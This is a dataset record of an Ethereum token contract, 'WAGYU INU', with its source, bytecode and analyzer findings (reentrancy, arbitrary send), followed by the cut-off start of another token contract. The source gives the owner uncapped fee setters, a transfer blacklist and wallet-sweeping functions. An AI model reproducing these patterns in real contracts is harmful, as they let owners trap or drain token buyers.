return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WAGYU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "WAGYU INU";
string private constant _symbol = "WAGYU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 12;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xE784C616eC414EC5bff3da60C9948209585e03eD);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e9 * 10**9;
uint256 public _maxWalletSize = 2e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e9 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 5 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setPair() external onlyOwner{
require(!tradingOpen);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610662578063e0f9f6a0146106a8578063ea1644d5146106c8578063f2fde38b146106e8578063fe72c3c11461070857600080fd5b806395d89b41146105b45780639ec350ed146105e25780639f13157114610602578063a9059cbb14610622578063c55284901461064257600080fd5b80637c519ffb116100f25780637c519ffb146105355780637d1db4a51461054a578063881dce60146105605780638da5cb5b146105805780638f9a55c01461059e57600080fd5b806370a08231146104ca578063715018a6146104ea57806374010ece146104ff578063790ca4131461051f57600080fd5b8063313ce567116101b15780634bf2c7c9116101755780634bf2c7c91461043f5780635d098b381461045f5780636b9cf5341461047f5780636d8aa8f8146104955780636fc3eaec146104b557600080fd5b8063313ce567146103ae57806333251a0b146103ca57806338eea22d146103ea57806349bd5a5e1461040a5780634bdc18de1461042a57600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461034057806327c8f8351461036057806328bb665a146103765780632fd689e31461039857600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b50604080518082019091526009815268574147595520494e5560b81b60208201525b6040516102709190612148565b60405180910390f35b34801561028557600080fd5b50610299610294366004611ff3565b61071e565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611f3f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b5068056bc75e2d631000005b604051908152602001610270565b34801561034c57600080fd5b5061029961035b366004611fb2565b610735565b34801561036c57600080fd5b5061030261dead81565b34801561038257600080fd5b5061039661039136600461201f565b61079e565b005b3480156103a457600080fd5b50610332601d5481565b3480156103ba57600080fd5b5060405160098152602001610270565b3480156103d657600080fd5b506103966103e5366004611f3f565b61083d565b3480156103f657600080fd5b50610396610405366004612126565b6108ac565b34801561041657600080fd5b50601a54610302906001600160a01b031681565b34801561043657600080fd5b506103966108e1565b34801561044b57600080fd5b5061039661045a36600461210d565b610add565b34801561046b57600080fd5b5061039661047a366004611f3f565b610b0c565b34801561048b57600080fd5b50610332601e5481565b3480156104a157600080fd5b506103966104b03660046120eb565b610b66565b3480156104c157600080fd5b50610396610bae565b3480156104d657600080fd5b506103326104e5366004611f3f565b610bd8565b3480156104f657600080fd5b50610396610bfa565b34801561050b57600080fd5b5061039661051a36600461210d565b610c6e565b34801561052b57600080fd5b50610332600a5481565b34801561054157600080fd5b50610396610c9d565b34801561055657600080fd5b50610332601b5481565b34801561056c57600080fd5b5061039661057b36600461210d565b610cf7565b34801561058c57600080fd5b506000546001600160a01b0316610302565b3480156105aa57600080fd5b50610332601c5481565b3480156105c057600080fd5b50604080518082019091526005815264574147595560d81b6020820152610263565b3480156105ee57600080fd5b506103966105fd366004612126565b610d73565b34801561060e57600080fd5b5061039661061d3660046120eb565b610da8565b34801561062e57600080fd5b5061029961063d366004611ff3565b610df0565b34801561064e57600080fd5b5061039661065d366004612126565b610dfd565b34801561066e57600080fd5b5061033261067d366004611f79565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106b457600080fd5b506103966106c336600461210d565b610e32565b3480156106d457600080fd5b506103966106e336600461210d565b610e6e565b3480156106f457600080fd5b50610396610703366004611f3f565b610e9d565b34801561071457600080fd5b5061033260185481565b600061072b338484610f87565b5060015b92915050565b60006107428484846110ab565b610794843361078f8560405180606001604052806028815260200161234d602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906117d2565b610f87565b5060019392505050565b6000546001600160a01b031633146107d15760405162461bcd60e51b81526004016107c89061219d565b60405180910390fd5b60005b8151811015610839576001600960008484815181106107f5576107f561230b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610831816122da565b9150506107d4565b5050565b6000546001600160a01b031633146108675760405162461bcd60e51b81526004016107c89061219d565b6001600160a01b03811660009081526009602052604090205460ff16156108a9576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d65760405162461bcd60e51b81526004016107c89061219d565b600d91909155600f55565b6000546001600160a01b0316331461090b5760405162461bcd60e51b81526004016107c89061219d565b601a54600160a01b900460ff161561092257600080fd5b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561098257600080fd5b505afa158015610996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ba9190611f5c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0257600080fd5b505afa158015610a16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3a9190611f5c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a8257600080fd5b505af1158015610a96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aba9190611f5c565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610b075760405162461bcd60e51b81526004016107c89061219d565b601355565b6017546001600160a01b0316336001600160a01b031614610b2c57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b03163314610b905760405162461bcd60e51b81526004016107c89061219d565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610bce57600080fd5b476108a98161180c565b6001600160a01b03811660009081526002602052604081205461072f90611846565b6000546001600160a01b03163314610c245760405162461bcd60e51b81526004016107c89061219d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c985760405162461bcd60e51b81526004016107c89061219d565b601b55565b6000546001600160a01b03163314610cc75760405162461bcd60e51b81526004016107c89061219d565b601a54600160a01b900460ff1615610cde57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610d1757600080fd5b610d2030610bd8565b8111158015610d2f5750600081115b610d6a5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107c8565b6108a9816118ca565b6000546001600160a01b03163314610d9d5760405162461bcd60e51b81526004016107c89061219d565b600b91909155600c55565b6000546001600160a01b03163314610dd25760405162461bcd60e51b81526004016107c89061219d565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061072b3384846110ab565b6000546001600160a01b03163314610e275760405162461bcd60e51b81526004016107c89061219d565b600e91909155601055565b6000546001600160a01b03163314610e5c5760405162461bcd60e51b81526004016107c89061219d565b610e6881610e106122a4565b60185550565b6000546001600160a01b03163314610e985760405162461bcd60e51b81526004016107c89061219d565b601c55565b6000546001600160a01b03163314610ec75760405162461bcd60e51b81526004016107c89061219d565b6001600160a01b038116610f2c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610fe95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c8565b6001600160a01b03821661104a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c8565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661110f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c8565b6001600160a01b0382166111715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c8565b600081116111d35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107c8565b6001600160a01b03821660009081526009602052604090205460ff161561120c5760405162461bcd60e51b81526004016107c8906121d2565b6001600160a01b03831660009081526009602052604090205460ff16156112455760405162461bcd60e51b81526004016107c8906121d2565b3360009081526009602052604090205460ff16156112755760405162461bcd60e51b81526004016107c8906121d2565b6000546001600160a01b038481169116148015906112a157506000546001600160a01b03838116911614155b1561161a57601a54600160a01b900460ff166112ff5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107c8565b601a546001600160a01b03838116911614801561132a57506019546001600160a01b03848116911614155b156113dc576001600160a01b038216301480159061135157506001600160a01b0383163014155b801561136b57506017546001600160a01b03838116911614155b801561138557506017546001600160a01b03848116911614155b156113dc57601b548111156113dc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107c8565b601a546001600160a01b0383811691161480159061140857506017546001600160a01b03838116911614155b801561141d57506001600160a01b0382163014155b801561143457506001600160a01b03821661dead14155b1561151457601c548161144684610bd8565b611450919061226a565b106114a95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107c8565b601a54600160b81b900460ff161561151457600a546114ca9061012c61226a565b421161151457601e548111156115145760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107c8565b600061151f30610bd8565b601d54909150811180801561153e5750601a54600160a81b900460ff16155b80156115585750601a546001600160a01b03868116911614155b801561156d5750601a54600160b01b900460ff165b801561159257506001600160a01b03851660009081526006602052604090205460ff16155b80156115b757506001600160a01b03841660009081526006602052604090205460ff16155b1561161757601354600090156115f2576115e760646115e160135486611a5390919063ffffffff16565b90611ad2565b90506115f281611b14565b6116046115ff82856122c3565b6118ca565b478015611614576116144761180c565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061165c57506001600160a01b03831660009081526006602052604090205460ff165b8061168e5750601a546001600160a01b0385811691161480159061168e5750601a546001600160a01b03848116911614155b1561169b575060006117c0565b601a546001600160a01b0385811691161480156116c657506019546001600160a01b03848116911614155b15611721576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611721576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561174c57506019546001600160a01b03858116911614155b156117c0576001600160a01b0384166000908152600460205260409020541580159061179d57506018546001600160a01b038516600090815260046020526040902054429161179a9161226a565b10155b156117b357600b54601155600c546012556117c0565b600f546011556010546012555b6117cc84848484611b21565b50505050565b600081848411156117f65760405162461bcd60e51b81526004016107c89190612148565b50600061180384866122c3565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610839573d6000803e3d6000fd5b60006007548211156118ad5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107c8565b60006118b7611b55565b90506118c38382611ad2565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119125761191261230b565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561196657600080fd5b505afa15801561197a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061199e9190611f5c565b816001815181106119b1576119b161230b565b6001600160a01b0392831660209182029290920101526019546119d79130911684610f87565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a109085906000908690309042906004016121f9565b600060405180830381600087803b158015611a2a57600080fd5b505af1158015611a3e573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611a625750600061072f565b6000611a6e83856122a4565b905082611a7b8583612282565b146118c35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107c8565b60006118c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b78565b6108a93061dead836110ab565b80611b2e57611b2e611ba6565b611b39848484611beb565b806117cc576117cc601454601155601554601255601654601355565b6000806000611b62611ce2565b9092509050611b718282611ad2565b9250505090565b60008183611b995760405162461bcd60e51b81526004016107c89190612148565b5060006118038486612282565b601154158015611bb65750601254155b8015611bc25750601354155b15611bc957565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611bfd87611d24565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c2f9087611d81565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c5e9086611dc3565b6001600160a01b038916600090815260026020526040902055611c8081611e22565b611c8a8483611e6c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ccf91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611cfe8282611ad2565b821015611d1b5750506007549268056bc75e2d6310000092509050565b90939092509050565b6000806000806000806000806000611d418a601154601254611e90565b9250925092506000611d51611b55565b90506000806000611d648e878787611edf565b919e509c509a509598509396509194505050505091939550919395565b60006118c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d2565b600080611dd0838561226a565b9050838110156118c35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107c8565b6000611e2c611b55565b90506000611e3a8383611a53565b30600090815260026020526040902054909150611e579082611dc3565b30600090815260026020526040902055505050565b600754611e799083611d81565b600755600854611e899082611dc3565b6008555050565b6000808080611ea460646115e18989611a53565b90506000611eb760646115e18a89611a53565b90506000611ecf82611ec98b86611d81565b90611d81565b9992985090965090945050505050565b6000808080611eee8886611a53565b90506000611efc8887611a53565b90506000611f0a8888611a53565b90506000611f1c82611ec98686611d81565b939b939a50919850919650505050505050565b8035611f3a81612337565b919050565b600060208284031215611f5157600080fd5b81356118c381612337565b600060208284031215611f6e57600080fd5b81516118c381612337565b60008060408385031215611f8c57600080fd5b8235611f9781612337565b91506020830135611fa781612337565b809150509250929050565b600080600060608486031215611fc757600080fd5b8335611fd281612337565b92506020840135611fe281612337565b929592945050506040919091013590565b6000806040838503121561200657600080fd5b823561201181612337565b946020939093013593505050565b6000602080838503121561203257600080fd5b823567ffffffffffffffff8082111561204a57600080fd5b818501915085601f83011261205e57600080fd5b81358181111561207057612070612321565b8060051b604051601f19603f8301168101818110858211171561209557612095612321565b604052828152858101935084860182860187018a10156120b457600080fd5b600095505b838610156120de576120ca81611f2f565b8552600195909501949386019386016120b9565b5098975050505050505050565b6000602082840312156120fd57600080fd5b813580151581146118c357600080fd5b60006020828403121561211f57600080fd5b5035919050565b6000806040838503121561213957600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561217557858101830151858201604001528201612159565b81811115612187576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122495784516001600160a01b031683529383019391830191600101612224565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561227d5761227d6122f5565b500190565b60008261229f57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156122be576122be6122f5565b500290565b6000828210156122d5576122d56122f5565b500390565b60006000198214156122ee576122ee6122f5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108a957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d27e6a7fe83eb7d9b56580342fa7f34622f3a53de7bf0a6c6d98e386bdbfa35264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,034 |
0x3413d4ffa3736ece8d2cc704a69278cd3ca68d15
|
/**
*Submitted for verification at Etherscan.io on 2022-02-17
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-16
*/
/**
this, THAT, and the other
Telegram: https://t.me/THATtoken
Twitter: https://twitter.com/ThatTokenETH
Website: https://thatisaweso.me (COMING SOON)
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
